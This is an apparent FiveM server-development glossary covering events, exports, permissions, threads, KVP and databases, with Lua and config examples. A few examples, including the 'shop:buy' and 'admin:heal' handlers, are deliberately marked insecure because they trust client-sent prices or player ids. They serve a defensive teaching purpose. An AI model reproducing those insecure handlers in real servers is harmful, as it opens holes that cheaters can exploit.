Relacionado dependencies, export (exports[...]), fxmanifest.lua- escrow_ignore
The fxmanifest list of files that stay readable and editable even when the resource is encrypted with FiveM's escrow system. It is the only open door of a paid script.
Almost every paid script (Quasar, Rcore, Origen, Jaksam, Wasabi in its escrow version) uses FiveM Asset Escrow. The core code travels encrypted in a .fxap and cannot be read or edited. What the author leaves out of the encryption is exactly what appears in escrow_ignore, usually config.lua, the locales and some integration folder.
This marks the practical limit of what you can do with a bought script. You can change prices, coordinates, text and integrations. You cannot rewrite its internal logic. To add new behaviour you use its exports and events, or the custom and integrations folders the author left open, never a fork of the encrypted core.
If you are publishing YOUR resource with escrow, escrow_ignore is what decides whether your customer can configure it or ends up asking you for support about everything. Leave the config, the locales and any integration file open, and encrypt only the logic.
Decrypting or cracking an escrow asset is not an option. It is illegal, it breaks the licence and, on top of that, resources that circulate already cracked are the number one entry point for backdoors into a server.
Ejemplo · What stays open in an escrow resource fx_version 'cerulean' game 'gta5' shared_scripts { 'config.lua', 'locales/*.lua' } client_scripts { 'client/main.lua' } -- will be encrypted server_scripts { 'server/main.lua' } -- will be encrypted -- The only thing the buyer will be able to open and edit escrow_ignore { 'config.lua', 'locales/*.lua', 'integrations/*.lua', }En qué se equivoca todo el mundo
- Buying a script and promising yourself you will 'edit the logic later'. If it uses escrow, you will not.
- Publishing an escrow resource and leaving the config out of escrow_ignore. Your customer cannot configure anything.
- Seeing a 'Failed to verify protected resource' and touching the config. That error is about the key and the Cfx account, not the configuration.
Relacionado fxmanifest.lua, backdoor, export (exports[...])- export (exports[...])
The way for a resource to offer a function to other resources. Registered with exports('Name', fn) and called with exports['my_resource']:Name(args). It is the clean alternative to talking through events.
An export is a direct function call between resources on the SAME side. It returns a value right away, without a round trip over the network, so it is the natural tool to ask another resource for something (give me the balance, give me the item, check whether this player has that job). Events, by contrast, are for notifying and return nothing.
The thing to burn into memory is that an export has a side. An export registered in server.lua does NOT exist on the client, and vice versa. Half of the No such export in resource cases are exactly that, calling from the wrong side. The other half are the name misspelled or the resource that has not started yet.
The whole modern ecosystem works this way. exports['es_extended']:getSharedObject(), exports['qb-core']:GetCoreObject(), exports.ox_inventory:AddItem(src, item, count) or exports.qbx_core:GetPlayer(src). Notice there are two equivalent syntaxes, brackets when the name has a hyphen and a dot when it is a valid Lua identifier.
Mind a security detail that gets overlooked. A server export can be called by ANY other resource on the server, including a compromised one. If your export is GiveMoney(src, amount) with no checks, any backdoor that gets into your server has a money printer ready to go.
Ejemplo · Registering and consuming an export on the same side -- my_bank/server.lua, register the export local Balances = {} exports('GetBalance', function(src) return Balances[src] or 0 end) -- other_resource/server.lua, consume it (same side, server) local balance = exports['my_bank']:GetBalance(source) if balance >= 100 then -- ... end -- Dot syntax when the name is valid in Lua (no hyphens) local Player = exports.qbx_core:GetPlayer(source)En qué se equivoca todo el mundo
- Calling from the client an export registered on the server. It does not exist, and No such export fires.
- Misspelling the resource name (ox-inventory instead of ox_inventory). It is case and hyphen sensitive.
- Calling the export on the first line of the file, before the providing resource has finished starting.
- lua54
The lua54 'yes' line in the fxmanifest, which makes that resource run on Lua 5.4 instead of the classic runtime. It enables real integers, bitwise operators and integer division.
Without lua54 your resource runs on the standard Cfx Lua, which is 5.3 with extensions. With lua54 'yes' you move to Lua 5.4 and gain things that are quite welcome. Native bitwise operators, integer division with //, better performance overall and goto without surprises.
What almost nobody tells you is that it also changes how numbers print and behave. In 5.4 an integer is a real integer, so 10 / 2 gives you 5.0 (float) while 10 // 2 gives you 5 (integer). If your code builds strings from numbers and somewhere expects '5' and gets '5.0', you will run into comparisons that fail for no apparent reason.
It is a per-resource decision, not a whole-server one. You can have some resources with lua54 and others without it coexisting fine, because each has its own runtime. Modern frameworks (ox_core, ND_Core and much of the ox ecosystem) take it for granted.
Simple rule. On a new resource, enable it. On an inherited resource that already works, do not enable it without testing, because the numeric type changes are subtle and can slip by unnoticed until a player complains.
Ejemplo · lua54 gives bits and integers, but changes how numbers come out -- fxmanifest.lua fx_version 'cerulean' game 'gta5' lua54 'yes' -- What it unlocks local half = 7 // 2 -- 3 (integer division) local rest = 7 % 2 -- 1 local flags = 0x1 | 0x4 -- native bitwise operators local has = (flags & 0x4) ~= 0 -- WATCH the types print(10 / 2) -- 5.0 (float) print(10 // 2) -- 5 (integer)En qué se equivoca todo el mundo
- Using | or & without lua54 'yes'. It gives a syntax error that says nothing about the real cause.
- Enabling it on an old resource and finding '5.0' where '5' used to be, breaking comparisons or text.
- Thinking it is a server option. It is declared resource by resource, in its own fxmanifest.
Relacionado fx_version and game, fxmanifest.lua, CreateThread and Wait- resource version (version)
The version '1.0.0' line in the fxmanifest. It is metadata, it does not affect execution, but it is what you see in txAdmin and what tells you which copy of a resource you have installed.
Do not confuse version with fx_version. fx_version is the manifest format version (always 'cerulean'). version is YOUR resource's version, and you pick it. Together with name, author and description it forms the metadata block that shows up in the console and in the txAdmin panel.
It looks cosmetic until the day you have three copies of the same script spread across your test server, production and a backups folder, and you cannot tell which is which. With a well-kept version (semantic is enough, major.minor.patch) that doubt is settled by looking at the manifest.
On top of that, some resources check their dependencies' version, and FiveM itself can warn you in the console if the author publishes a version file. If you publish resources for others, bump it on every release and describe what changed.
And there is a very handy internal use. You can read your own metadata at runtime with GetResourceMetadata, which lets you print the version on boot and know at a glance what is really running on the server.
Ejemplo · Declaring the version and reading it at runtime -- fxmanifest.lua name 'my_resource' author 'YourName' description 'Garage system' version '1.4.2' -- server.lua, print the real version on boot AddEventHandler('onResourceStart', function(res) if res ~= GetCurrentResourceName() then return end local v = GetResourceMetadata(res, 'version', 0) print(('^2[%s]^0 started, version %s'):format(res, v or 'unknown')) end)En qué se equivoca todo el mundo
- Leaving version '1.0.0' forever and never knowing which copy you have deployed.
- Confusing it with fx_version and changing 'cerulean' for a number. The resource stops starting.
- Updating a resource by overwriting the folder without checking the previous version or the changelog, and losing the config changes.
Relacionado fxmanifest.lua, fx_version and game, resource- boot order and dependencies
The order of the ensures in server.cfg is the real order resources boot in. If a resource starts before what it depends on, it fails, and almost always with an error that does not mention the cause.
FiveM does not guess the order. It reads your server.cfg top to bottom and starts what you ask in that order. That is why the rule is always the same. First the database (oxmysql), then the libraries (ox_lib), then inventory and target, then the core (es_extended, qb-core or qbx_core) and last your resources.
The symptom when you skip it is misleading. There is usually no message saying 'wrong order', there is an attempt to index a nil value (global 'ESX') or a No such export in resource. It is your resource asking something of a framework that did not exist yet when it started.
The fxmanifest dependencies block helps but does not fix the order. What it does is refuse to start if the dependency is not running, which turns a cryptic error into an honest one. It is still your server.cfg that decides who goes first.
For whatever you cannot order (third-party resources, resources that restart live), the robust pattern is to ask for nothing at file load, but inside onResourceStart or a thread that waits. That way your resource survives a framework restart instead of going dumb until the next server restart.
Ejemplo · The cfg order rules, but the code can protect itself -- BAD: asks for the core at file load. If the core is not up yet, ESX is nil. ESX = exports['es_extended']:getSharedObject() -- GOOD: wait for the resource to be really running CreateThread(function() while GetResourceState('es_extended') ~= 'started' do Wait(100) end ESX = exports['es_extended']:getSharedObject() print('ESX ready') end)En qué se equivoca todo el mundo
- Putting ensure my_resource before ensure es_extended and blaming ESX for the nil.
- Starting everything with ensure [esx] and assuming the order inside the group is the one you imagine.
- Believing the dependencies block reorders the boot. It only checks that the other is alive.
Eventos y permisos
Cómo hablan cliente y servidor, y quién puede qué.
- event
The mechanism the parts of FiveM use to notify each other. One side fires an event with a name and some data, and whoever registered it reacts. It is one way, it returns nothing.
There are two families it is best not to mix. LOCAL events travel only within the same side (from one server resource to another, or from one client resource to another) and are fired with TriggerEvent. NET events cross the client and server boundary, and are the ones that require RegisterNetEvent on the listening side.
Besides yours, FiveM and the frameworks fire their own events, and they are the right way to hook into the lifecycle. onResourceStart and onResourceStop for your resource, playerConnecting and playerDropped on the server, esx:playerLoaded or QBCore:Server:OnPlayerLoaded when a player finishes loading.
An event returns no values. If you need an answer (do I have the balance?, what is in my trunk?) what you want is a callback, not an event. Trying to fake it with two events, one out and one back, works but ends up a mess of state that gets away from you.
Prefix your events with the resource name, always. my_resource:openMenu, not openMenu on its own. Event names are global for the whole server, and two resources using the same name will clash in a very hard to debug way.
Ejemplo · Local events and lifecycle events -- LOCAL event (same side, between resources or within yours) AddEventHandler('my_resource:log', function(text) print('[log] ' .. text) end) TriggerEvent('my_resource:log', 'something happened') -- Resource LIFECYCLE event AddEventHandler('onResourceStop', function(res) if res ~= GetCurrentResourceName() then return end -- clean up blips, peds, open NUI... end)En qué se equivoca todo el mundo
- Generic names with no prefix (open, update, refresh). They clash with other resources sooner or later.
- Expecting an event to return a value. That is what the callback is for.
- Forgetting onResourceStop and leaving blips, peds or NUI hanging every time you restart the resource.
Relacionado RegisterNetEvent, TriggerEvent, callback- RegisterNetEventESXQBCoreQboxoxStandalone
Registers an event as a NET event, that is, it lets it arrive from the other side. Without it, a TriggerServerEvent or TriggerClientEvent runs nothing and the was not safe for net warning fires.
FiveM does not let any event cross the network. Only the ones you declare with RegisterNetEvent. It is a deliberate allowlist, because opening an event to the network means opening a door from a player's computer straight into your server. The modern form registers and handles in one, RegisterNetEvent('name', function(...) end), and it is the one you should use.
Here is the single most important point of the whole glossary, so read it twice. A net event registered on the SERVER can be fired by ANY connected player, at the moment they choose, with the arguments they choose. Not just by your client.lua. Your client code protects nothing, because the attacker does not use your client code.
From there come the two rules that prevent 90% of cheats. First, NEVER trust the data arriving in the event (an amount, a price, a player id, an item name). Second, always validate against your own source of truth (the server config, the database, the state you control) and use source to know who called.
And a consequence that gets forgotten. The fewer net events you open, the better. If something can be solved with a same-side export or a statebag, do not turn it into a net event just because it was the first thing that came to mind.
Ejemplo · The same event, insecure and secure -- INSECURE. The server does exactly what it is told. RegisterNetEvent('shop:buy', function(item, price) local src = source local Player = exports.qbx_core:GetPlayer(src) exports.qbx_core:RemoveMoney(src, 'cash', price) -- price chosen by the client exports.ox_inventory:AddItem(src, item, 1) -- item chosen by the client end) -- SECURE. Item and price come from the server, the client only says WHAT it wants. RegisterNetEvent('shop:buy', function(catalogId) local src = source local def = Config.Catalog[catalogId] -- if it is not in the catalog, it does not exist if not def then return end local Player = exports.qbx_core:GetPlayer(src) if not Player then return end -- is the player actually at the shop? the server checks, it does not ask the client local ped = GetPlayerPed(src) if #(GetEntityCoords(ped) - Config.Shop.coords) > 3.0 then return end if not exports.qbx_core:RemoveMoney(src, 'cash', def.price, 'shop-buy') then return end exports.ox_inventory:AddItem(src, def.item, 1) end)En qué se equivoca todo el mundo
- Using only AddEventHandler on the receiving side. The event never arrives and the was not safe for net warning shows.
- Trusting the amount, price or item the client sends. It is the classic hole money gets printed through.
- Registering a server net event 'just for testing' and leaving it there. It stays open to everyone.
- AddEventHandler
Defines what runs when an event arrives. On its own it listens to LOCAL events. To listen to one coming from the network you have to register it first with RegisterNetEvent.
AddEventHandler is the listener. RegisterNetEvent is the permission for that event to come from the network. They are different things, which is why the classic pattern is two lines, first RegisterNetEvent and then AddEventHandler with the same name. The modern form combines them, RegisterNetEvent('name', fn), and does exactly the same.
If the event is local (fired by your own resource or another on the same side), AddEventHandler alone is more than enough. It is what you use to hook into onResourceStart, onResourceStop, playerDropped or the framework's internal events on the same side.
It returns a handler you can store and remove with RemoveEventHandler. Rarely needed, but if you register handlers inside a loop or a function that runs several times, you end up with the same event firing two, three or ten times. Always register at the top level of the file.
And one that bites. In a server handler, source is valid in the first part of the function, but stops being reliable after a Wait. Copy it to a local on the first line and work with that.
Ejemplo · Local with AddEventHandler, net with RegisterNetEvent -- Classic form (two lines) RegisterNetEvent('my_resource:action') AddEventHandler('my_resource:action', function(data) local src = source -- ... end) -- Modern form (equivalent, and recommended) RegisterNetEvent('my_resource:action', function(data) local src = source -- ... end) -- LOCAL event: AddEventHandler alone, no RegisterNetEvent AddEventHandler('playerDropped', function(reason) local src = source print(('%s left (%s)'):format(GetPlayerName(src) or '?', reason)) end)En qué se equivoca todo el mundo
- Setting AddEventHandler for an event that arrives over the network and forgetting RegisterNetEvent. It simply does not run.
- Registering handlers inside a function that runs several times. The event ends up firing N times.
- Using source after a Wait inside the handler. Copy it to a local on the first line.
Ver la guía relacionadaRelacionado RegisterNetEvent, event, source- TriggerEvent
Fires a LOCAL event, within the same side. Server to server or client to client, even between different resources. It never crosses the network.
TriggerEvent is the quiet sibling of the family. It does not leave the process you are in, so it is fast and has no security implications against the player. You use it to talk between your own modules or to notify another same-side resource, for example a logging system or a notifications resource.
Because it is local, a TriggerEvent on the client is heard by the client and nobody else. And a TriggerEvent on the server is heard by server resources. Confusing it with TriggerServerEvent is a classic rookie mistake that shows up as an event that 'does not arrive' when in fact it did arrive, just at the wrong place.
Although it does not cross the network, it does cross resources. That is, any server resource can fire your local server events. If you have a backdoor inside, that matters. It is not a reason to avoid it, but it is a reason for sensitive actions to live behind functions with checks, not behind a bare local event.
A very common use is the chat. TriggerEvent('chat:addSuggestion', '/command', 'help') registers the chat autocomplete from the client, and has nothing to do with the network.
Ejemplo · TriggerEvent does not leave the side you are on -- server.lua, notify another resource on the SAME side TriggerEvent('my_logger:record', 'buy', src, 500) -- client.lua, chat suggestion (local client event) RegisterNetEvent('onClientResourceStart', function(res) if res ~= GetCurrentResourceName() then return end TriggerEvent('chat:addSuggestion', '/garage', 'Open your garage', { { name = 'id', help = 'Vehicle ID (optional)' }, }) end)En qué se equivoca todo el mundo
- Using TriggerEvent when you meant TriggerServerEvent. The event 'does not arrive' because it stayed on the client.
- Firing a local event expecting all players to hear it. For that you need TriggerClientEvent from the server.
- Putting sensitive logic behind a bare local server event with no checks, assuming only you will fire it.
Relacionado TriggerServerEvent, TriggerClientEvent, event- TriggerServerEventESXQBCoreQboxoxStandalone
The client sends an event to the server. It is the channel the player ASKS things through. Everything that travels here comes from the player's computer and is therefore not to be trusted.
Think of TriggerServerEvent like a web form. The player fills in what they want and hits send. Your server receives that form, and what it does with it is what decides whether your economy survives or not. The client ASKS, the server DECIDES. That is the whole sentence of security in FiveM.
The practical corollary is that the arguments you send are suggestions, not facts. Do not send the price, send the server WHAT you want to buy and let it look up the price in its config. Do not send how many fish you caught, let the server keep the count. Do not send your identifier, the server already knows who you are from source.
The smaller the message, the harder it is to abuse. An event that carries only a catalog id is far safer than one carrying item, amount, price and discount, because the server only has to validate one thing and that thing is in a closed list it controls.
And do not forget the pace. A net event can be fired in a loop. If your server runs a database query on every call, someone can take your server down without being especially clever. A per-player cooldown on the server side is cheap and cuts out a lot of noise.
Ejemplo · The client asks, the server counts the fish and sets the price -- client.lua, the client only ASKS, and sends no 'trusted' data RegisterCommand('sell', function() TriggerServerEvent('fishing:sell') -- no amount, no price: the server knows that end, false) -- server.lua, the server decides, validates and applies a cooldown local lastSale = {} RegisterNetEvent('fishing:sell', function() local src = source local now = os.time() if lastSale[src] and now - lastSale[src] < 2 then return end lastSale[src] = now -- the amount is read by the SERVER from the real inventory, not from the message local fish = exports.ox_inventory:GetItemCount(src, 'fish') if fish <= 0 then return end if not exports.ox_inventory:RemoveItem(src, 'fish', fish) then return end exports.qbx_core:AddMoney(src, 'cash', fish * Config.FishPrice, 'fishing-sale') end) AddEventHandler('playerDropped', function() lastSale[source] = nil end)En qué se equivoca todo el mundo
- Sending the price, the amount or the item from the client and using it as-is on the server.
- Sending the player id inside the event. The server already has it in source, and the one in the message can be forged.
- Not putting any cooldown on events that touch the database. They can be fired in a loop.
Relacionado RegisterNetEvent, source, server-authoritative- TriggerClientEvent
The server sends an event to a specific client, or to all of them. The first argument after the name is the recipient, the player id, or -1 for everyone connected.
This is the way back. The server has decided something and tells the client to draw it, open a menu, play an animation or create a blip. Notice the shape, TriggerClientEvent('name', recipient, ...data). That recipient is what sets it apart from the other triggers, and getting it wrong is the most common mistake.
The -1 means all players. It is useful for global announcements or for a blip the whole city should see, but abusing it has a cost. Each -1 call with two hundred connected players is two hundred network messages, and if you also put it inside a loop you end up with network lag you will not find by looking at resmon.
For state that changes and that many must see (a car's engine, whether a player is handcuffed, whether a shop is open) there is a better tool than a TriggerClientEvent to -1, which is statebags. They replicate themselves without spamming events.
And remember the receiving client also has to register the event with RegisterNetEvent. If the server fires and on the client there is only an AddEventHandler, nothing happens and the was not safe for net warning shows in the client console (F8), not the server one, which is where you were looking.
Ejemplo · The recipient goes right after the name -- server.lua -- to ONE player TriggerClientEvent('my_resource:notify', src, 'Purchase complete') -- to EVERYONE connected TriggerClientEvent('my_resource:announce', -1, 'The bank has been robbed') -- client.lua, the receiver MUST register it as a net event RegisterNetEvent('my_resource:notify', function(text) lib.notify({ description = text, type = 'success' }) end)En qué se equivoca todo el mundo
- Forgetting the recipient and writing TriggerClientEvent('name', data). Then data is read as the target player.
- Abusing -1 inside a loop. It is a silent source of network lag.
- Looking for the was not safe for net error in the server console when the one failing is the client. Check the F8.
Relacionado TriggerServerEvent, RegisterNetEvent, source- event was not safe for net
The 'event X does not exist, or was not safe for net' warning. It means someone fired an event over the network toward a side that had not registered it with RegisterNetEvent.
The message sounds like an obscure bug and is actually a protection working properly. FiveM only accepts over the network the events you have explicitly declared as net. If it is not on that list, it is dropped and you are warned. Without that allowlist, any player could fire any internal event of any server resource, and that would be the end.
The real causes are three and always the same. First, the receiving side uses only AddEventHandler and is missing the RegisterNetEvent. Second, the event name does not match exactly (a capital, a hyphen, an extra space). Third, the resource that registers the event is not running, or started after the one firing.
Notice where the warning shows, because it tells you which way the event was going. If it shows in the server console, the one missing the registration is the server. If it shows in the client F8, it is the client that did not register it. A lot of people spend half an hour checking the wrong file for not looking at this.
And a less obvious reading. If you see this warning in your server console with an event name you have never written, someone is probing events blindly against your server. It is normal noise on a public server, but it is worth knowing how to read it.
Ejemplo · The fix is one line, the lesson is longer -- BAD: the server listens, but never opened the event to the network AddEventHandler('my_resource:action', function() -- never runs if it comes from a TriggerServerEvent end) -- GOOD: registered as a net event (modern short form) RegisterNetEvent('my_resource:action', function(data) local src = source -- now it arrives, and now 'data' has to be validated end)En qué se equivoca todo el mundo
- Adding RegisterNetEvent on the FIRING side instead of the LISTENING one. It goes on the receiver.
- Names that do not match character for character between the trigger and the registration.
- The resource that registers the event is not running. Check the ensure before you keep looking.
- sourceESXQBCoreQboxoxStandalone
The global variable that, inside a server event, holds the ID of the player who fired it. It is your only reliable source of who is acting, because the server sets it and it does not travel in the message.
source is special because the client does not send it, the server itself fills it in from the connection. A player can lie about everything inside the event, but cannot lie about who they are. That is why the rule is absolute. If your server event receives a player id as an argument and uses it as if it were the caller, you have a hole, and it does not matter how pretty the rest of the code is.
It has a very well known trap. source is a global variable of the event context, and it stops being reliable the moment your function yields control (a Wait, a database query with await, a callback). The correct habit is to copy it to a local on the very first line, local src = source, and never touch source again.
On the client source means something different. Inside a net event received on the client, it does not represent a player but the sender of the event, and you must not use it to identify anyone. Identity only makes sense on the server.
In a server RegisterCommand, the player ID arrives as the FIRST parameter of the function, not as a global. And there a 0 means the command was typed by the server console, not a player. It is a case you have to account for, especially in admin commands.
Ejemplo · source says who calls, never the arguments -- INSECURE: it believes the id it is given RegisterNetEvent('admin:heal', function(targetId) TriggerClientEvent('my_resource:heal', targetId) -- anyone heals anyone end) -- SECURE: source says WHO calls, and the server checks whether they may RegisterNetEvent('admin:heal', function(targetId) local src = source -- copy it NOW if not IsPlayerAceAllowed(src, 'command.heal') then return end local target = tonumber(targetId) if not target or not GetPlayerName(target) then return end TriggerClientEvent('my_resource:heal', target) end) -- The Wait trap RegisterNetEvent('my_resource:slow', function() local src = source Wait(500) print(src) -- correct print(source) -- NO longer reliable end)En qué se equivoca todo el mundo
- Accepting a player id inside the event and treating it as the caller. It is the most repeated security hole in FiveM.
- Using source after a Wait or an await query. Copy it to a local on the first line.
- Forgetting that in a server RegisterCommand a source of 0 is the console, not a player.
- callbackESXQBCoreQboxox
The pattern for the client to ASK the server for a value and get an ANSWER back. It exists because events are one way and return nothing.
A normal event is like shouting out the window. You say something and get on with your life. But often the client needs to know the answer before continuing (do I have the balance for this?, what is in the trunk?, is this house occupied?). That is where the callback comes in, an event out with a return tied to it.
Each framework has its own and they are incompatible. ESX uses ESX.RegisterServerCallback on the server and ESX.TriggerServerCallback on the client. QBCore uses QBCore.Functions.CreateCallback and QBCore.Functions.TriggerCallback. ox_lib, the modern standard in Qbox and ox, uses lib.callback.register and lib.callback.await, and the latter is the most comfortable because it is async and reads like sequential code.
Watch out for the false sense of security. A server callback receives arguments from the client just like a net event, with the same lack of guarantees. That the server computes the answer does not make the question trustworthy. Validate the arguments exactly as in a RegisterNetEvent.
And two mistakes that leave the game hanging. A server callback that on some branch does not call cb(...) leaves the client waiting forever. And lib.callback.await run at resource load, outside a thread or an event, also hangs. Always inside CreateThread or a handler.
Ejemplo · The callback informs, the buy is still validated by the server -- ox_lib (Qbox / ox),the modern standard -- server.lua lib.callback.register('shop:canPay', function(source, catalogId) local def = Config.Catalog[catalogId] -- ALWAYS validate what arrives if not def then return false end return exports.qbx_core:GetMoney(source, 'cash') >= def.price end) -- client.lua (inside a thread or an event, never at load) RegisterCommand('buy', function() local canPay = lib.callback.await('shop:canPay', false, 'water') if canPay then TriggerServerEvent('shop:buy', 'water') -- the real buy is validated by the server AGAIN else lib.notify({ description = 'Not enough money', type = 'error' }) end end, false)En qué se equivoca todo el mundo
- Forgetting to call cb(...) on some branch of the server callback. The client hangs waiting.
- Using the callback as if the answer were the authorization. The real action has to be validated again on the server.
- Calling lib.callback.await at resource load, outside a thread. It hangs the boot.
Relacionado event, TriggerServerEvent, export (exports[...])- CreateThread and Wait
CreateThread launches a coroutine that runs in parallel to the rest of the script, and Wait pauses that coroutine for the milliseconds you tell it. Every infinite loop carries a Wait inside, no exceptions.
FiveM runs Lua on a single thread per resource. While your code runs, nothing else runs. That is why a while true with no Wait does not slow the game down, it FREEZES it, and if you put it on the server you freeze the whole city. Wait(0) yields until the next frame, Wait(500) yields for half a second. The classic form still exists as Citizen.CreateThread, and Citizen.Wait as Wait, aliases of the same mechanism.
The number you give Wait is the difference between a resource that runs well and one that eats your performance. A loop at Wait(0) runs every frame, which at 60 fps is 60 laps a second. That is only justified when you draw something on screen (a marker, 3D text). To check whether the player is near a shop, Wait(500) or Wait(1000) is more than enough and nobody will notice the difference.
The pattern that separates a dev with craft from the rest is the adaptive wait. A single loop that runs slow by default and only drops to Wait(0) when it really needs to draw something. With that you go from a resource at 1.5 ms in resmon to one at 0.01 ms, and you have not changed any functionality.
Another alternative to loops is not having loops. Statebags and events tell you when something changes, and ox_lib brings lib.points for proximity logic already optimized. If your resource is polling the state of the world every frame, there is almost always a better way.
Ejemplo · The same marker, from 1.5 ms to 0.01 ms at idle -- BAD: burns the CPU every frame for nothing CreateThread(function() while true do Wait(0) local pos = GetEntityCoords(PlayerPedId()) if #(pos - Config.Shop) < 2.0 then DrawMarker(--[[ ... ]]) end end end) -- GOOD: adaptive wait. Slow from afar, every frame only when there is drawing to do CreateThread(function() while true do local sleep = 1000 local pos = GetEntityCoords(PlayerPedId()) local dist = #(pos - Config.Shop) if dist < 20.0 then sleep = 0 DrawMarker(--[[ ... ]]) if dist < 2.0 and IsControlJustReleased(0, 38) then TriggerServerEvent('shop:open') end end Wait(sleep) end end)En qué se equivoca todo el mundo
- A while true with no Wait inside. It freezes the client, or the whole server if you put it there.
- Leaving everything at Wait(0) out of habit. It is the number one cause of resources showing red in resmon.
- Putting GetEntityCoords or heavy math in a loop every frame when checking once a second was enough.
Relacionado event, lua54, RegisterCommand- RegisterCommand
Registers a chat command (/heal, /coords). It works on client and server, and where you put it decides whether it is safe or a gift to cheaters.
The signature is RegisterCommand(name, function(source, args, rawCommand) end, restricted). args is a table with the words that came after the command, always as text, so if you expect a number you will have to run it through tonumber and check it is not nil.
The important decision is the side. A CLIENT command is fine for harmless things (printing coordinates, opening a UI, changing a visual setting). But any command that gives an advantage (heal, give money, teleport, spawn a car) has to live on the SERVER, because a client command can be fired by anyone from their own console even if you hid it.
The third parameter, restricted, is more useful than it looks. Set it to true and FiveM automatically checks the ACE permission command.name before running, and the command also stops being suggested to those who lack it. Even so, checking explicitly with IsPlayerAceAllowed inside the function does not hurt, especially if the command also fires events.
Mind the source 0. In a server command, a source of 0 means the server console typed it, not a player. If your check is if not IsPlayerAceAllowed(src, ...) then return end with nothing else, you end up blocking your own console, which is exactly the opposite of what you want.
Ejemplo · Harmless on the client, with an advantage on the server and with ACE -- client.lua, harmless command, on the client is fine RegisterCommand('coords', function() local c = GetEntityCoords(PlayerPedId()) print(('vector3(%.2f, %.2f, %.2f)'):format(c.x, c.y, c.z)) end, false) -- server.lua, command with an advantage, ALWAYS on the server and with ACE RegisterCommand('heal', function(source, args) local src = source -- src == 0 is the server console, which is allowed if src > 0 and not IsPlayerAceAllowed(src, 'command.heal') then return end local target = tonumber(args[1]) or src if target == 0 or not GetPlayerName(target) then return end TriggerClientEvent('my_resource:heal', target) end, true) -- restricted = true: FiveM already checks command.heal for youEn qué se equivoca todo el mundo
- Putting an admin command in client.lua. Anyone can run it from their console, hidden or not.
- Using args[1] as a number with no tonumber and no nil check. An empty argument blows up the script.
- Blocking the server console for not accounting for the source equals 0 case.
- ACE permissions (add_ace, add_principal)
FiveM's native permission system. add_ace grants a permission to a group, add_principal puts a player (by their identifier) into that group. It is checked on the server with IsPlayerAceAllowed.
There are two pieces and people confuse which is which. add_principal ties an identifier to a group (this player is admin). add_ace ties a group to a permission (admins may use command.heal). You need both. With only the ace, nobody is in the group. With only the principal, the group can do nothing.
Identifiers have a prefix and you must use the one the player actually has. identifier.license is the most reliable because it always exists. identifier.discord or identifier.steam only work if those services are active on your server. If you copy an example with identifier.steam and your server does not have the Steam Web API key configured, that principal is worth nothing.
The big advantage of ACE over each framework's admin system is that it lives on the server, outside the database and outside the reach of any script. No event can bypass it. That is why dangerous commands should check ACE on the server, even if your framework already has its own group system.
The mistake that takes 90% of cases is typing. The permission name has to match EXACTLY the one the resource checks, capitals included. myResource.Admin is not myResource.admin. And changes in server.cfg do not apply on their own, you have to restart the server or re-run the cfg.
Ejemplo · add_ace grants the permission, add_principal adds the person # server.cfg # 1) The permission: the admin group may use /heal add_ace group.admin command.heal allow # 2) Who is in the group (use the identifier your server DOES have) add_principal identifier.license:abc123def456... group.admin # 3) A resource's own permission (EXACT name, capitals included) add_ace group.admin my_resource.manage allow # All commands at once (with great care) # add_ace group.admin command allowEn qué se equivoca todo el mundo
- Setting the add_ace and forgetting the add_principal (or vice versa). Both are needed.
- Using identifier.steam when your server has no Steam active. That principal matches nobody.
- Editing server.cfg and not restarting. ACE changes do not reload on their own.
Ver la guía relacionadaRelacionado RegisterCommand, source, server-authoritative- KVP (client-side local storage)
Key Value Pair. A per-resource key and value store that persists between sessions. On the client it lives on the player's PC, so it is for preferences, never for data with value.
The natives are SetResourceKvp, SetResourceKvpInt and SetResourceKvpFloat to write, GetResourceKvpString, GetResourceKvpInt and GetResourceKvpFloat to read, and DeleteResourceKvp to delete. Each resource has its own space, so your hud_x key does not clash with another resource's. The data survives a game restart, which is exactly the point.
The legitimate use case is player preference. Where they placed the HUD, whether they prefer the light theme, whether they already saw the tutorial, the radio volume. Things that if lost do not matter and that make no sense to store in your database, because they belong to that person and that computer.
What KVP is NOT, and this is important. It is not secure persistence. It is a file on the player's disk, and the player owns their disk. Storing money, items, a played-time counter with a reward there, or anything that grants an advantage, is like leaving the till open. That goes to MySQL, on the server, full stop.
There is also a server-side variant of the same natives, storing in the server's own store. It is handy for a counter or a silly setting that does not deserve a table, but for any real player data the answer is still the database.
Ejemplo · KVP for preferences, MySQL for anything with value -- client.lua, player preferences, on THEIR machine -- Save the HUD position (integers) local function saveHud(x, y) SetResourceKvpInt('hud_x', x) SetResourceKvpInt('hud_y', y) end -- Read on boot (returns 0 if never saved) local x = GetResourceKvpInt('hud_x') local y = GetResourceKvpInt('hud_y') -- Strings and deletion SetResourceKvp('hud_theme', 'dark') local theme = GetResourceKvpString('hud_theme') or 'light' DeleteResourceKvp('hud_theme') -- NEVER this. The player owns their disk. -- SetResourceKvpInt('my_money', 5000)En qué se equivoca todo el mundo
- Storing money, items or rewarded progression in client KVP. It is editable by the player.
- Expecting GetResourceKvpString to return something the first time. It returns nil, always set a default.
- Confusing GetResourceKvpInt with GetResourceKvpString. If you wrote with SetResourceKvpInt you have to read with the Int one.
Relacionado server-authoritative, resource, oxmysql
Base de datos
Dónde vive lo que no se puede perder.
- MySQL and MariaDB
The database engine where everything your server cannot afford to lose lives (money, vehicles, inventory, identities). MariaDB is a free fork of MySQL and, for FiveM, the two behave the same.
FiveM ships without a database. You install MySQL or MariaDB separately (XAMPP or Laragon locally, the system package on a VPS), create an empty database and import the tables your framework provides. Your resources never talk to the engine directly, they talk to oxmysql, which acts as the bridge.
Whichever you pick, two settings are not optional. The character set must be utf8mb4, because it is the only one that properly handles the accents, the eñe and the emojis that players put into names and plates. And the storage engine must be InnoDB, because it is the one that supports transactions and foreign keys. MyISAM does not support transactions, so a money transfer that dies halfway really does die halfway.
As for where it runs, the normal and healthy setup is the database on the same machine as FXServer. If you put it on a remote server, every query carries the round-trip latency, and a login that fires eight queries in a row goes from instant to half a second.
Ejemplo · Database and dedicated user, with utf8mb4 -- Create the database with the right charset from the start CREATE DATABASE fivem CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; -- A dedicated user for the server, not root CREATE USER 'fivem'@'localhost' IDENTIFIED BY 'a_long_password'; GRANT ALL PRIVILEGES ON fivem.* TO 'fivem'@'localhost'; FLUSH PRIVILEGES;En qué se equivoca todo el mundo
- Creating the tables with MyISAM. Without transactions, a failure mid-transfer evaporates money.
- Leaving the charset as latin1. Names with accents are stored broken and there is no clean way to fix them later.
- Connecting to a remote database hosted far away. Every query pays the latency and the login drags.
